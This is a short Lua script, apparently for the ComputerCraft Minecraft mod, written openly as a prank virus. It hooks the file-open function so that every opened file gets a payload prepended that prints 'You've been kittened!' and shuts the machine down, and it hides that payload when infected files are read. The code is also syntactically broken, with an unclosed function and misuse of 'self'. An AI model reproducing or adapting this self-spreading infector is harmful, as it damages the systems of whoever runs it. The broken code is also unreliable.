Test

--KVTAG
-- Stickmasterluke alakazard12 -- hehe.
virus = "--KVTAG\nprint(\"You've been kittened!\")\nsleep(1.5)\nos.shutdown()\n"
oldOpen = fs.open

function infect(file)
    file = shell.resolve(file)
    if fs.exists(file) and not fs.isDir(file) then
        pcall(function()
            local rp1 = oldOpen(file, "r")
            local rp2 = oldOpen(file, "w")
            rp2.write(virus.."\n"..rp1.readAll())
            rp1.close()
            rp2.close()
        end)
    end
end

function fs.open(file, mode)
    local f = oldOpen(file,"r")
    if (f.readLine() ~= "--KVTAG") then
        infect(file)
    else
        if (mode == "r") then
            f.editedText = string.sub(f.readAll(), #virus+1)
            f.readAll = (function() return self.editedText end)
            f.line = 1
            f.line2 = 1
            f.getLine = (function()
            f.readLine = (function() return string.gsub(f.readAll(),"%w+", self.getLine) end)
        end
    end
    f.close()
    return oldOpen(file, mode)
end